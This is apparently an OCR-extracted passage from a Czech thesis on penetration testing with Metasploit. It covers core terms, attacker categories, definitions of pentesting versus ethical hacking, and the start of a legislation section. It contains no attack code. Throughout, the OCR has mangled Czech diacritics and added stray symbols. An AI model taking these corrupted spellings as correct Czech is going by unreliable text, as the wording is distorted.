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Abstrakt

S riistem diileZitosti pocitacovych systémii po celém svété a s tim spojeného trendu
zvySujici se kyberkriminality roste i proaktivni snaha fady spolecnosti predejit
kompromitaci jejich pocitacového systému. Jednou z dllezitych technik pro tento
ucel je i penetracni testovani, které tato prace hloubéji prozkoumava a popisuje.
Vprvni ¢asti je Ctendl seznamen se zakladni terminologii, druhy utoc¢nikd,
detailnimu postupu penetracniho testovani a fadou aktudlnich trendi v této oblasti.
Na toto je navazano piedstavenim fady nejpouZivanéjsich nastroji pro penetracni
testovani, znichZ jeden znastrojii, Metasploit Framework, je pak predstaven
detailnéji a s jeho vyuzitim je vypracovana nazorna pripadova studie, ve které je za
pomoci tohoto nastroje simulovan skute¢ny penetracni test. BEhem piipadové
studie doSlo kuspéSnému prolomeni pocitacového systému malé organizace
a naslednému tspésnému kaskadovému kompromitovani dalSich pocitact véetné
téch, které nedisponuji pfimou konektivitou mezi sebou. Snaha o kompromitovani
vSech pocitacovych systému vSak skoncila neuspéSné kvili pritomnosti plné

aktualizovaného pocitace, ktery disponuje anti-malwarovou ochranou.

Klicova slova: penetrac¢ni testovani, Metasploit, kyberneticka bezpe¢nost



Abstract

Title: Penetration testing using the Metasploit Framework

With the growing importance of computer systems around the world and the
associated trend of increasing cybercrime, many companies are taking a proactive
approach to prevent their computer systems from being compromised. One of the
important techniques for this purpose is penetration testing. This paper explores
and describes this technique in depth. In the first part, the reader is introduced to
the basic terminology, types of attackers, detailed penetration testing procedure and
several current trends in this area. This is followed by an introduction to a number
of the most commonly used penetration testing tools, one of which, the Metasploit
Framework, is then introduced in more detail and an illustrative case study is
developed using this tool to simulate a real penetration test. During the case study,
the computer system of a small organization was successfully compromised and
then successfully cascaded to other computers, including those without direct
connectivity to each other. However, efforts to compromise all computer systems
ended in failure due to the presence of a fully updated computer that has anti-

malware protection.

Keywords: penetration testing, Metasploit, cybersecurity
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1 Uvod

Pocitace a pocitacové systémy doslova zménily svét. S jejich pomoci byla velka rada
béZnych Cinnosti zefektivnéna, a to i nékolikanasobné. Pocitate zarovenn umoznily
Fadu dalSich Cinnosti, které do té doby nebyly viibec myslitelné. V ramci dalsiho
zvySovani efektivity jsou pocitace neustale zrychlovany a propojovany do ¢im dal
vétSich a komplikovanéjSich pocitacovych siti. Neni tedy prekvapivé, Ze dnes jiz
takika vSechny firmy a organizace na c¢innost pocitact ve své kazdodenni praxi

spoléhaji.

Pocitatem dnes jiZ neni pouze osobni pocitac v tradi¢nim smyslu toho slova,
ale ¢im dal vice se uplatiiuje neustale se rozsirujici $kala specialnich zarizeni, ktera
jsou Casto navzajem propojena. Je tedy zfejmé, Ze naroky na spravnou konfiguraci
stale se zvétSujiciho mnozstvi zarizeni neustale rostou. Vlivem Spatné konfigurace
se vSak miiZe snadno stat, Ze néktery z kritickych systémii, na ktery organizace

spoléha, miiZe selhat, coZ v dlisledku velmi ¢asto znamena finan¢ni ztratu.

Vv

Situace je o to zavaznéjsi, Ze na zplisobeni finan¢nich a jinych ztrat
jednotlivym organizacim mohou mit zajem i kyberkriminalnici a jiné nepratelské
spolky ¢i organizace. Motivace rozdilnych skupin a jednotlivci se lisi, spole¢né v§ak
maji, Ze kromé vyhledani Spatnych a nezabezpectenych konfiguraci se snazi zneuZit
i fadu jinych chyb o jejichZ existenci nemusi konkrétni organizace viibec védét.
Nasledky prolomeni zabezpeceni pocitacovych systémii organizace pfitom mohou

byt zcela katastrofalni.

Piesné z tohoto diivodu se Fada firem proaktivné snazi zvysit zabezpeceni
své organizace a jednou z velmi diileZitych ¢asti této Cinnosti miiZe byt i penetracni
testovani. Tato prace se zabyva bliZ$im popisem této ¢innosti stejné jako nazornou
demonstraci penetra¢niho testovani s vyuzitim nastroje Metasploit Framework.
DileZitou Casti této prace je i analyza soucasné legislativy za ucelem zjiSténi, zda
existuje povinnost penetrani testovani vykonavat a jaké jsou na tuto cinnost

z hlediska zakona a norem naroky.



2 Cil prace

Cilem prace je podrobné predstavit problematiku penetracnich testii a zpracovat
case study, na které budou predstaveny nejnovéjs$i metody a technologie vyuZzivané

pro penetracni testovani, zejména Metesploit Framework.

Prace bude v teoretické Ccasti obsahovat predstaveni problematiky
penetracnich test{i, vCetné etického hackingu, zdkladnich pojmi tykajicich se dané
oblasti a norem. Zavérem teoretické ¢asti budou predstaveny aktualni metody
a pristupy voblasti penetratniho testovani. V implementacni casti budou
predstaveny nastroje vyuzivané pro penetracni testovani, provedena jejich
komparativni analyza a vypracovana ukazkova case study na jejimz zakladé budou

pripraveny ukazkové pristupy pro penetracni testovani.



3 Metodika zpracovani

Metodika prace byla zvolena tak aby za jejiho pouziti bylo moZzné dosahnout vSech
dil¢ich i hlavnich cilii diplomové prace. Teoreticka ¢ast prace se tedy sklada zejména
z reSerSe zkoumané oblasti, ktera je vzhledem k dostupnosti a kvalité literatury
zpracovana s vyuZitim zdrojii psanych prevazné v anglickém jazyce. Vyjimkou je

sekce vénujici se legislativé, kde bylo ¢erpano z ¢eskych zakonii a ¢eské literatury.

V praktické casti je pak toto rozSifeno o vytvoreni piipadové studie jejiz
scénar byl vytvoren na zakladé studia ovladani a funkci nastroje Metasploit
Framework. Vysledny scénat vznikl sloZzenim velké rady poznatkii ziskanych
zvolné dostupnych ukazek a tréninkovych materialii tak, aby pripadova studie
ukazovala Sirokou $kalu riznych funkci tohoto nastroje. Samotné provedeni scénare
piripadové studie pak bylo po tsecich vyzkouSeno na fadé virtualnich stroji
v domacich podminkach a poté jako celek za vyuzZiti laboratofe pocitatovych siti

Univerzity Hradec Kralové.

Béhem psani prace bylo v omezené mife vyuZito nastroji umélé inteligence.
Zejména jde o nastroj ChatGPT od spoletnosti OpenAl. Vyuziti tohoto nastroje bylo
striktné omezeno, tak aby nedochazela k prejimani faktickych dat z tohoto nastroje.
Nastroj byl namisto toho misty vyuzivan za ucelem zlepSenti Citelnosti textu a jeho
sumarizaci. Dale byly prilezitostné vyuzity nastroje pro preklad textu: Google

Translate a Deepl Translate.



4 Uvod do terminologie

V této kapitole budou uvedeny a vysvétleny zakladni pojmy nezbytné pro pochopeni
reSené problematiky. Mezi tyto pojmy patfi zranitelnost, exploit, payload.

Porozuméni témto pojmlm je zasadni pro dalsi pochopeni obsahu této prace.

4.1 Zranitelnost

Zranitelnost (anglicky Vulnerability) je jakdkoliv bezpecnosti slabina, kterd miize
umoznit potencialnimu uto¢nikovi prolomeni zabezpeceni daného pocitacového
systému a miiZe tedy teoreticky vést k nedostupnosti sluzby, uniku dat ¢i dokonce

k ovladnuti celého systému uto¢nikem. (1 str. 8)

Zranitelnost mlZe byt i zdanlivd banalita jako jsou nezamcené dvere
do serverové mistnosti. Pri sitovych utocich jde ale typicky o néjakou chybu
v operacnim systému, aplikaci ¢i sitovém protokolu, které miiZe potencidlni tito¢nik
zneuZit. Zranitelnosti tohoto typu obvykle nevznikaji zamérné a jsou casto pouze
dlsledkem néjakého opomenuti programatora ¢i navrhare systémi. MiiZe se ale
stat, Ze v dobé navrhu systému nebyl dany vektor utoku viibec objeven ¢i jinak

dostupny.

Prikladem takové zranitelnosti mohou byt hardwarové zranitelnosti
objevené vroce 2017 v procesorech fady x86 firmy Intel. Pfi navrhu procesort
inZenyfi firmy Intel nedostatecné dobte zabezpecili ochranu paméti pii vykonavani
kédu spekulativné. A tim nepfimo umoZnili potencidlnimu uto¢nikovi pristup

paméti jinych procest, a dokonce i jinych virtudlnich stroji ve stejném cloudu. (2)

Existuji sluzby, které se zaméiuji na podrobné mapovani jednotlivych
zranitelnosti. Jednou z nejznameéjsich je cvedetails.com. Tato stranka pro organizaci
zranitelnosti vyuziva tzv. CVE ¢islo (Common Vulnerabilities and Exposures), které
predstavuje systém organizace zranitelnosti, o ktery se stara firma MITRE
Corporation. Kromé samotného popisu zranitelnosti je na této strance moZné najit
i jeji relativni nebezpecnost, datum publikovani zranitelnosti i skére EPSS (Exploit
Prediction Scoring System), které vyjadfuje pravdépodobnost toho, Ze tato

zranitelnost bude béhem nasledujicich 30 dnii aktivné exploitovana. (3)


http://cvedetails.com

CVE-2009-1730

%* Public exploit exists

Multiple directory traversal vulnerabilities in NetMechanica NetDecision TFTP Server
4.2 allow remote attackers to read or modify arbitrary files via directory traversal
sequences in the (1) GET or (2) PUT command.

Max Base Score

Published 2008-05-20
Updated 2017-08-17

EPSS m

Obrazek 1 Detail konkrétni zranitelnosti ze stranky cvedetails.com
Zdroj: https: / /www.cvedetails.com /vulnerability-list/vendor_id-9734 /product_id-

17396 /Netmechanica-Netdecision-Tftp-Server.html

4.2 Exploit

Exploit (volné preloZeno jako ,zneuziti“) predstavuje vyuziti libovolné zranitelnosti
pro prolomeni zabezpeceni systému. Toto oznaceni se typicky pouziva jak pro
samotny akt zneuziti zranitelnosti, tak pro kus kdédu, ktery byl za timto cilem napsan.

(1 str. 8) Exploity se déli na dvé zakladni kategorie: znamé a neznamé.

4.2.1 Znamé exploity

Pokud je dany exploit jiZ architektiim systému znam jednda se o takzvany znamy
exploit. Ukolem zodpovédnych osob je pak ihned podniknout nezbytné kroky
k odstranéni dané zranitelnosti tak, aby dany exploit jiZ nemohl byt pouzit. Pri
softwarovych zranitelnostech toto vyzaduje vydani opravné softwarové aktualizace,
také znamé jako zaplata (anglicky patch). (4) Vydanim softwarové aktualizace vSak
nemusi byt dany exploit bezcenny. Exploit mliZe byt znamy tieba i celé roky,
a presto je mozné ho vyuzit. Stane se tak v pripadech, kdy dany spravce systému
z néjakého diivodu neudéld (¢i nemize udélat) nezbytny krok k odstranéni této
zranitelnosti. Napfiklad se miiZe jednat o pripady, kdy dodavatel konkrétniho
softwaru, ve kterém byla zranitelnost objevena jiZ neexistuje a nemuZe tedy zaplatu

vydat. MiiZe ale jit i o prosté selhani administratori (¢i jinych zodpovédnych osob),


http://cvedetails.com
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kdy se rozhodnout instalaci aktualizace odloZit, ¢i naptiklad serverovnu z diivodu

pohodInosti prosté nadale nezamykat.

4.2.2 Neznamé exploity

Druhou kategorii exploitii jsou takzvané neznamé exploity, také zndmé jako ,zero-
day“. Jedna se o zneuziti takové zranitelnosti, o které zatim architekt daného
systému ani nevi Ze existuje, nebo se o ni teprve nedavno dozvédél a jeSté na ni
vlibec nestihl zareagovat. Tento druh exploitii je velmi nebezpecny, protoZe pokud
se jedna napriklad o zranitelnost v néjakém velmi roz$ifeném softwaru (napf.
operaéni systém MS Windows), tak jsou zranitelni v8ichni jeho uZivatelé. Casto se
i stava, Ze dana zranitelnost je objevena az poté, kdy ji nékdo zneuzije. V takovém
pripadé je pak nutné, aby zodpovédné osoby co nejrychleji prisly na to, jak dany
exploit fungoval, a teprve aZ poté je moZné zacit pracovat na odstranéni

korespondujici zranitelnosti. (4)

Objeveni Exploit

Vytvorent | anitelnosti | dostupny

Riziko po zverejnéni

Riziko pred zverejnénim

Instalce

Zverejnéni zéplaty

Obrazek 2 Zivotni cyklus exploitovatelné zranitelnosti
Zdroj: Vlastni tvorba dle (5)

Zero-day exploity jsou kviili své velké potencidlni uZitecnosti pro tto¢nika
velmi cenénym zboZim. Objevitel dané exploitovatelné zranitelnosti miiZe tento sviij
objev prodat a potencialné si tak na ¢erném trhu vydélat velké mnoZstvi penéz. Za
ucelem vyvazeni toho faktu nabizi nékteré firmy tzv. ,bug bounty program®, ktery
se snazi dat objeviteliim zranitelnosti néjakou alternativu, pri které je osobé nebo
skupiné osob, ktefi chybu nahlasi pfimo zodpovédné spolecnosti, vyplacena jista

penéZni odména. Objevitel chyby je tedy za svilij objev odménén, aniZ by se musel



obratit na ¢erny trh a tim riskovat zajem policie. Dana firma také miiZe usetrit velké
mnozstvi penéz, protoZe kdyby byla chyba exploitovana nepratelskym uto¢nikem,
miiZe dojit k pfimé i nepiimé penéZni ztraté (napf. ztrata prestiZze, divéry klienti

atd.) pro firmu katastrofické nasledky. (6 str. 47 az 57)

Ani nahlaSeni neznamé zranitelnosti vSak nemusi byt nutné jedinou
spravnou, jednoduchou a legalni cestou. Vroce 2021 napiiklad Cinska lidova
republika prijala zakon, ktery prikazuje ¢inskym spole¢nostem nahlasit objevené
zranitelnosti mistni vladé namisto zahrani¢nim subjektiim (s vyjimkou tvirce
daného software). Kratce po schvaleni tohoto zakona byla jedna znejvétSich
¢inskych firem Alibaba potrestana za to, Ze jimi objevena zranitelnost v popularnim
open source frameworku Log4] byla nahlaSena pouze americké firmé Apache
namisto mistnim organtim. (7; 8) Tento novy ¢insky zdkon rychle vyvolal podezieni,
e se Cinska lidova republika snaZi nashroma#dit co nejvice neznamych exploitii
za uCelem moZného pozdéjSiho nepratelského vyuziti. (9) Podobnym nafcenim
v minulosti i soucasnosti ¢eli i jiné staty vcéetné Spojenych statli americkych. (6 str.

11 a% 56)

Tento vyvoj ukazuje, Ze zero-day zranitelnosti a exploity nejsou dlileZité jen
pro jednotlivé tto¢niky ¢i hackerské skupiny, ale s rostouci diileZitosti pocitacovych
systéml se o vyuZiti téchto prostiedkii pro geopolitické cile zac¢inaji ¢im dal vice
zajimatijednotlivé staty. Fenomén statem sponzorovanych tito¢nikd je bliZe popsan

v nasledujici kapitole.

4.2.3 Backdoor

Specialni formou neznamé zranitelnosti mohou byt i skryta zadni vratka (tzv.
backdoor), ktera programator ¢i navrhar systému zamérné vytvoril za ucelem
pozdéjsiho vyuziti (at uZ jim samotnym nebo i jinou entitou). Osoba (i instituce,
kterd zadni vratka do systému vloZila je totiZ mlZe teoreticky vZdy zneuZit Ci
informaci o jejich existenci nékomu prodat nebo prozradit. Zadni vratka mohou byt
dale nahodile objevena a teoreticky i zneuzita treti dosud nezainteresovanou

stranou.



Prikladem vyrobcem zabudovanych zadnich vratek je odhaleni nékolika
zadnich vratek, ktera spolecnost Cisco od roku 2004 zabudovavala do svych
sitovych prvkil za uc¢elem toho, aby policejni sloZky mély v ptipadé potieby moZnost
se do danych vyrobkii na dalku pripojit za uc¢elem shromazd'ovani diikazl ¢i jiné
policejni ¢innosti. Tato zadni vratka byla poté v roce 2010 nezavisle nalezena firmou
IBM security. Jde o obzvlast zavaZnou zranitelnost, protoZe pristup do systému
timto zplisobem zdmérné nezanechava stopu v logu. Dalsi zadni vratka v nékterych

vyrobcich této firmy byla nalezena v roce: 2013, 2014, 2015, 2017 a 2018. (10)

Termin zadni vratka neni omezen pouze na vyrobcem zamérné vytvorenou
alternativni moznost pristupu do systému. Zadni vratka mohou byt do systému
pridana i pozdéji napt. béhem ciziho prevzeti kontroly nad pocitacovym systémem
za uCelem udrZovani pristupu. Tento termin v tomto kontextu je bliZe popsan

v kapitole 6.

4.3 Payload

Dal§im velmi dtlezitym terminem je payload, ktery ve svété kybernetické
bezpecnosti oznacuje konkrétni cast Skodlivého kdédu, ktera po prolomeni
zabezpeceni vykonava néjakou skodlivou ¢i nebezpecnou ¢innost. Tohoto cile mtiZe
byt dosaZeno pouze provedenim nékolika malo ptikazl na cilovém stroji za ucelem
napft. zaSifrovat data na daném pocitacovém systému. Payload miiZe ale byt daleko
komplexnéjsi a miiZe se i jednat vytvoreni trvalého spojeni mezi napadnutym

a utoc¢icim systémem. (11; 1 str. 8)
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5 Porozuméni utoénikim (Threat Actors)

Pfed samotnym sezndmenim se sterminem ,penetracni testovani“ je dilezité
pochopit, kviili cemu viibec tato technika vznikla a jakym hrozbam v kybernetickém
prostoru muiZe libovolnd organizace Celit. Je ziejmé, Ze naroky na zabezpecleni
pocitatového systému mistni pekarny (¢i podobného podniku relativné malého
vyznamu pro SirSi spolecnost) se budou dramaticky lisit od narokli na zabezpeceni
pocitatového systému firmy zajiStujici spravu kritické infrastruktury (¢i podobného
podniku relativné velkého vyznamu pro $irsi spolec¢nost). Divodem tohoto rozdilu
jsou disledky, které by napadeni (a piipadna nasledna nedostupnost) pocitacovych
systéml dané organizace méla. Disledkem této skutecnosti je, Ze rlizné typy
organizaci pritahuji rGzné typy utoc¢nikid. Je tedy diileZité se seznamit
s nejzakladnéjsimi druhy utoc¢nikd, jejich motivaci a zamyslet se, kterym typlim
kybernetickych utokli miiZe organizace redlné celit a tomu nasledné pak

i prizplisobit snahu zabezpecit pocitacové systémy organizace.

V realném svété lze utolniky rozdélit do kategorii a rozliSit tak jejich
schopnosti a motivace. Spole¢nost Cisco ve svém kurzu CCNA3 verze 7 déli utocniky

na nékolik skupin podle etiky ¢i podle jejich motivace a znalosti (12)
5.1 Déleni dle etiky

e Black Hat: Black Hat predstavuje druh utoc¢nika, ktery zcela bez predchoziho
povoleni zautoCi na pocitatovy systém vybraného cile za ucelem vlastniho
finan¢niho ¢i jiného osobniho prospéchu. (11)

e White Hat: Jedna se o zakonné, moralni a etické utoky, kde experti
na zakladé svych znalosti pocitacovych bezpeclnostnich systémi
s predchozim svolenim zautoli na pfedem dohodnuty cil. To vSe ve snaze
proniknout do siti a systémli za ucCelem odhaleni slabin a nasledného
nahlaseni téchto slabin dané organizaci, tak aby mohly byt tyto nedostatky
napraveny jeSté diive, neZ si jich vSimne nékdo, kdo by je chtél zneuzit. (12).

e Gray Hat: Tento druh tito¢nikl se na pomyslné skdle mezi White Hat a Black

Hat nachazi zhruba uprostred. Tito lidé se podobné jako Black Hat snazi bez



predchoziho svoleni nalézt bezpecnostni diry v systémech libovolného cile.
Na rozdil od uto¢nikd typu Black Hat vSak nalezené slabiny nezneuZiji pro
osobni prospéch, ale podobné jak White Hats tyto bezpec¢nostni diry typicky
danému subjektu nahlasi. Mohou tak provést zcela neziStné a zdarma. Mohou
ale i poskytnout pouze diikaz o existenci slabiny a dal$i podrobnosti

poskytnout pouze za finan¢ni uplatu. (13; 12)

5.2 Déleni dle znalosti a motivace

Script kiddies: Tito utoc¢nici umi pouzivat jednoduché nastroje a taktiky, ale
nemaji témér zadny vycvik ¢i znalosti. Jedna se ¢asto o mladistvé nebo
za Ucelem zplsobeni Skody ¢i prosté jen aby sami sobé néco dokazali.
Obvykle jim nejde o zisk. Tento typ utoc¢niki ¢asto ani plné nechape co déla a
témér azZ ndhodné zkousi jimi zvolené nastroje a ¢eka na to, ktery jako prvni
bude pro né fungovat. Diky tomu, Ze dnes jsou jiZ mnohé velmi sofistikované
nastroje volné dostupné a jednoduché na ovladani se jedna o velmi
nebezpecnou, a hlavné pocetnou skupinu utocnikli. Spole¢nost Cisco dale
podotykda, Ze diky volné dostupnym a zarovenn velmi sofistikovanym
nastrojiim je dnes jiZ moZné provést velmi komplexni utoky i svelmi
limitovanymi technickymi znalostmi. CoZz déla ztéto pocetné skupiny
pomérné dlleZitého protivnika. (12)

Vulnerability brokers: Obvykle se jedna o Gray Hat hackery, ktefi se snazi
objevit exploity a nahlasit je stranam, kterych se to tyka. Motivaci pro tuto
¢innost jsou typicky odmeény, které firmy za nahlaseni zranitelnosti ve svych
systémech davaji. (12)

Hacktivisté: Hacktivisté predstavuji druh uto¢nikl, ktefi utokem
na pocitacové systémy vlady ¢i soukromych firem verejné proti témto
subjektiim protestuji. U¢elem ttokil je nejéastéji potrestat & jinak prilakat
pozornost k takové ¢innosti téchto vlad ¢i firem, kterou hacktivisté povazuji
za amoralni ¢i jinak nespravnou. (12) Nejznaméjsim prikladem takovych

uto¢niki je skupina Anonymous, kterd zejména v minulosti podnikla
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znacnou fadu vysoko profilovych titoki. Jednim z nejznaméjsich je napriklad
série utokidl na spolecnosti PayPal, Visa a Mastercard kratce poté co tyto
spolecnosti prestaly zprostiredkovavat platby pro organizaci WikiLeaks. (14)
Kyberkriminalnici: Jak jiZ ndzev napovida jedna se o utoc¢niky typu Black
Hat, kteri se bud sami, nebo ¢asto i ve skupinach zabyvaji kyberzloCinem
Jejich motivy jsou Cisté ziStné a nejCastéji maji podobu primého finan¢niho
prospéchu. ,Odhaduje se, Ze pocitacovi zlocinci kradou spotrebiteltim
a podnikiim miliardy dolari. Kyberzlocinci operuji v podzemni ekonomice, kde
nakupuji, proddvaji a obchoduji s ndstroji pro ttoky, s kédem zero day exploit,
sluzbami botnetil, bankovnimi trojskymi korimi, keyloggery a mnoha dalsimi.
Také nakupuji a proddvaji soukromé informace a dusSevni vlastnictvi, které
kradou. Pocitacovi zlolinci se zaméruji na malé podniky a spotrebitele, stejné
jako na velké podniky a celd priimyslovd odvétvi, , (12) Cinnost tohoto druhu
uto¢nikil je vSem velmi zndma stejné tak i $kody, které mohou po sobé
zanechat. Napriklad utok na systémy spoletnosti Colonial Pipeline z roku
2021 mél za nasledek mimo pfimé financ¢ni ztraty této spolecnosti i vyvolani
znacné paniky verejnosti z dlivodu rizika nedostatku pohonnych hmot. (15)
Statem sponzorovani utocnici: S riistem dtleZitosti pocitacovych systémi
pro interni fungovani kazdé organizace a ve vysledku celého statu vznikla
nova a velmi nebezpecna skupina statem sponzorovanych uto¢nikt. Cilem
této skupiny jsou vSechny takové subjekty, které stat sponzorujici dané
uto¢niky uzna za vhodné. MizZe tedy jit o kradeZ tajemstvi jinych statq,
shromaZzd'ovani zpravodajskych informaci ¢i sabotovani pocitacovych
systéml protivnika v pripadé néjakého konfliktu dvou ¢i vice statl. Tato
skupina je obzvlast nebezpec¢na kviili tomu, Ze ma k dispozici velmi rozsahlé
financni i jiné prostredky stejné jako i Fadu predpripravenych neverejnych
nastrojti, které vyuZzivaji dosud nepublikované zranitelnosti zero-day. (12)
Statem sponzorovani uUtocnici mohou mit kvilli svému mimofadnému
postaveni i pristup k zadnim vratkiim do systémi. (10) Kombinace vSech
vySe zminénych specifik z nich déla velmi nebezpetnou skupinu a obrana
proti nim je velmi obtiZzna. Pfikladem konkrétnich statem sponzorovanych

utokti miiZe byt itok na nejvétsiho Ruského producenta jadernych ponorek,
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jehoZ tcelem meéla byt kradeZ citlivych dokumenti tykajicich se vyrobkil
tohoto producenta. (16) Zajimavym fenoménem je i udajna zamérné
nedostatetna snaha nékterych statli potrestat kyberkrimindlni skupiny,
které ztzemi domovského statu Utoc¢i proti subjektiim ve statech, které
domovsky stat povaZzuje za potencidlni konkurenty/soupere. (17) Dal$im
konkrétnim zajimavym prikladem stiatem sponzorovanych utokd miiZe byt
narlst kybernetickych utokii proti ukrajinskym subjektlim v roce 2022 pfi
vpadu vojsk Ruské federace do této zemé. (18) Tento fenomén ukazuje, Ze
kybernetické ttoky mohou byt stitem vyuZity i jako dalsi z nastroji

k dosaZeni geopolitickych cilti.
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6 Penetracni testovani

Firma IBM v internetovém c¢lanku publikovaném na svych strankach penetra¢ni
testovani definuje jako ,bezpelnostni test, jehoz cilem je za vyuZiti
faleSného/predstiraného kybernetického utoku nalézt slabiny v pocitacovém
systému.” Firma IBM déle zdiiraziuje, Ze penetracni testovani je daleko obsahlejsi
neZ pouhé vyhodnoceni zranitelnosti. Vyhodnocovani zranitelnosti je totiZ délano
automaticky a cilem je oznacit Casté chyby, které se v systému mohly objevit.
Penetracni testovani vSak pfi nalezeni chyby danou chybu rovnou zneuZije a tim
vérné simuluje chovani nepratelského hackera. Cilem penetra¢niho testovani je
oproti  pouhému rutinnimu vyhodnocovani zranitelnosti  poskytnout
bezpec¢nostnimu tymu detailni predstavu o tom, jakym zplisobem by skute¢ny
hacker mohl narusit fungovani organizace a jakym zpiisobem by mohl pristoupit
k citlivym datlim. Velkou vyhodou penetra¢niho testovani je dle tohoto ¢lanku, Ze
penetracni testovani Casto provadéji najaté subjekty tretich stran a tim dochazi
k opravdovému a realistickému napodobeni pripadného utoku, protoZe takto mtiZze

snadno dojit k odhaleni takovych slabin systému, kterych by si interni bezpec¢nostni

tym viibec nemusel v§imnout. (19)

Britska vladni instituce National Cyber Security Centre ale naopak penetracni
testovani definuje jako ,Metodu pro ziskani jistoty v bezpelnost IT systému
pokusem o prolomenti ¢asti nebo veSkerého zabezpeceni tohoto systému za pouziti
stejnych nastrojii a technik, jako by pouzil nepratelsky uto¢nik“. Dle této instituce
tedy neni cilem penetra¢niho testovani primarné nalézt zranitelnosti v néjakém
systému, ale ziskat jistotu, Ze dana organizace ma kvalitni interni procesy pro

posouzeni zranitelnosti a nasledny managment téchto zranitelnosti. (20)

Cesky zdroj CESNET pak tyto dvé mirné odli¥né definice sjednocuje. Dle
tohoto zdroje je penetracni testovani ,provedeni testu s cilem identifikovat
zranitelnosti, které by mohly byt pritomny v aktivu: na pocitaci, serveru, v informacnim
systému, siti, aplikaci nebo v organizaci (pak se testuje zranitelnost osob a fyzické
zabezpeceni). Penetracni testy provddi vyskoleni, kvalifikovani experti s pouZitim

postupt, které predpoklddaji, Ze by mohli pouZit skute¢ni hackeri. Penetracni testy
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odhaluji slabiny (zranitelnosti) i zptisoby (hrozby), jakymi by mohla byt aktiva
zneuZita a poskytuji ndvod, jak sniZit existujici riziko. Penetracni testy také mohou
identifikovat schopnost organizace reagovat na incident bezpecnosti informaci*. (21)
Je zjevné, Ze tato definice stejné jako definice firmy IBM klade dliraz na identifikaci
zranitelnosti, ¢imZ se 1iS{ od definice britské vladni instituce, ktera identifikaci
zranitelnosti bere jako néco druhofradého. Na rozdil od definice IBM vSak sdruZeni
CESNET samotné interni procesy firmy a jejich reakce na objevené zranitelnosti ¢i
bezpecnostni incident zohlediniuje, avSak na rozdil od National Cyber Security Centre

je povazuje aZ za druhorady cil.

Dalo by se tedy konstatovat, Ze penetracni testovani predstavuje aktivitu, pri
které clovék oznacovany jako penetracni tester, ¢asto zkracovano jenom na
pentester, provadi kontrolu, hodnoceni a testovani zabezpeCeni konkrétni
organizace za pouZiti stejnych metod, strategii a prostredki, jaké by pouZil
nepratelsky uto¢nik. DiileZitou souc¢asti penetracniho testovani je vsaki identifikace
schopnosti dané organizace reagovat na objevené zranitelnosti ¢i bezpecnostni

incident.

Kniha ,PENETRATION TESTING ESSENTIALS" autora Seana-Philipa Oriyana
dale dopliiuje, Ze nezbytnou soucasti spravného penetracniho testovanti je i formalni
dohoda mezi samotnym pentesterem a cilovou organizaci. Tato dohoda zahrnuje
i smlouvu o mlcenlivosti (NDA; Non Disclosure Agreement). Pentester totiZ pfi své
¢innosti mulZe dosahnout pomérné vysoké =znalosti interniho fungovani
pocitacovych systémii cilové organizace. Pokud by se tyto znalosti dostaly do rukou
neopravnéné treti strany, hrozi, Ze by na zakladé téchto znalosti mohl byt usnadnén
potencialni realny nepratelsky kyberneticky utok. Smlouva NDA tedy zajiStuje
legalni vynuceni diskrétnosti informaci zjiSténych pentestrem/pentestery. Dalsi
dilezitou formalni ndleZitosti je dle této knihy i samotnd smlouva mezi cilovou
organizaci a penetratnim testerem. V této smlouvé by mélo byt specifikovano co
vSechno je pfi penetra¢nim testu povoleno a co presnég, jakym zpiisobem a v jakém

formatu musi pentester na zavér predlozit sva zjiSténi. (22 str. 18)
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V souvislosti s penetra¢nim testovanim je v odborné literatufe Casto pouzit
i termin Eticky hacking. Ve vétSiné pripadl jsou tyto dva terminy brany jako
synonyma a byvaji zaméinovany. Pii exaktnim porovnani definic obou termint je
vSak zfejmé, Ze se o synonyma nejedna. Jacob Fox z firmy Cobalt, ktera nabizi
komer¢ni penetetracni testovani svym Kklientim v ¢lanku publikovaném
na strankach této firmy zdiiraziiuje, Ze tyto dva pojmy se lisi ve ¢tyfech zasadnich

bodech. (23)

1. Na rozdil od etického hackovani, penetra¢ni testovani presné stanovuje
rozsah testovani zaméreného na konkrétni sit nebo pocitacovy systém.

2. Etické hackovani vyuziva libovolny uto¢ny vektor k proniknuti do systému,
zatimco pentest Casto presnéji definuje tyto utocné vektory pired samotnym
testovanim. Penetrac¢ni test napriklad Casto nezahrnuje fazi socialniho
inZenyrstvi (napf. zasilani podvodnych emailil), zatimco v ramci etického
hackovani by tato faze mohla byt zahrnuta. Penetra¢ni testovani se také
prisné ridi néjakou metodologii.

3. Neékteré predpisy explicitné stanovuji poZadavek na provadéni penetracnich
testli, avSak neobsahuji poZadavek tykajici se nutnosti provadéni etického
hackovani.

4. U etického hackovani ¢asto chybi pevné stanovené datum ukonceni a Casto
funguje spiS jako program odménovani za nalezené chyby (bug bounty

program).

Tyto dva terminy se vSak shoduji v tom, Ze oba pojmy oznacuji proaktivni
pristup ke kyberbezpecnosti a také v tom, Ze obé ¢innosti vyzaduji povoleni od
cilové organizace predtim, neZ jeji bezpecnost bude jednim ztéchto taktik

aplikovana.

Toto rozdéleni rovnéz potvrzuje Dimitar Kostadinov v ¢lanku ,Ethical
hackingvs. penetration testing” umisténém na webu firmy INFOSEC, ktera se zabyva
vzdélavanim v oblasti informacni bezpecnosti a naslednym vydavanim certifikat
o uspésném absolvovani kurzli svymi zdkazniky. Kostadinov v zavéru ¢lanku

konstatuje, Ze Eticky hacking predstavuje mnoZinu technik, ktera obsahuje
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i penetracni testy, ale i jiné techniky jako napriklad snahu oklamat personalni

obsazeni cilové organizace pomoci metod socialniho inZenyrstvi. (24)

6.1 Legislativa a normy

Jak jiZ bylo v této praci zminéno diisledné dodrZovani kyberbezpecnostnich zasad je
nezbytné pro kaZdou organizaci. Sriistem dileZitosti organizace vsak rostou
i dlisledky potencidlniho bezpecnostniho incidentu. Presné ztoho diivodu jsou

poZadavky na kyberbezpecnost dlisledné ukotveny legislativné.

V prostoru Evropské Unie ma toto legislativni ukotveni podobu smérnice
Evropského parlamentu a Rady (EU) 2016/1148 o opatrenich k zajiSténi vysoké
spole¢né urovné bezpecnosti siti a informacnich systéml v Unii (Smérnice NIS),
povinnosti kazdého ¢lenského statu je pak tuto smérnici implementovat a spole¢né
s dal$imi konkrétnimi opatienimi ji takto zaradit do zakonii kazdé ¢lenské zemé.
Tento pristup ma za cil zavést jednotny standart urovné kybernetické bezpecnosti

napfi¢ celou unii. (25)

V Ceské republice kybernetickou bezpeénost definuje zakon & 181/2014 Sb.,
o kybernetické bezpecnosti (ZKB) a jeho provadéci vyhlasky. Tento zakon definuje
v § 3 povinné osoby a organizace, které maji dle § 4 tohoto zakona narizeno
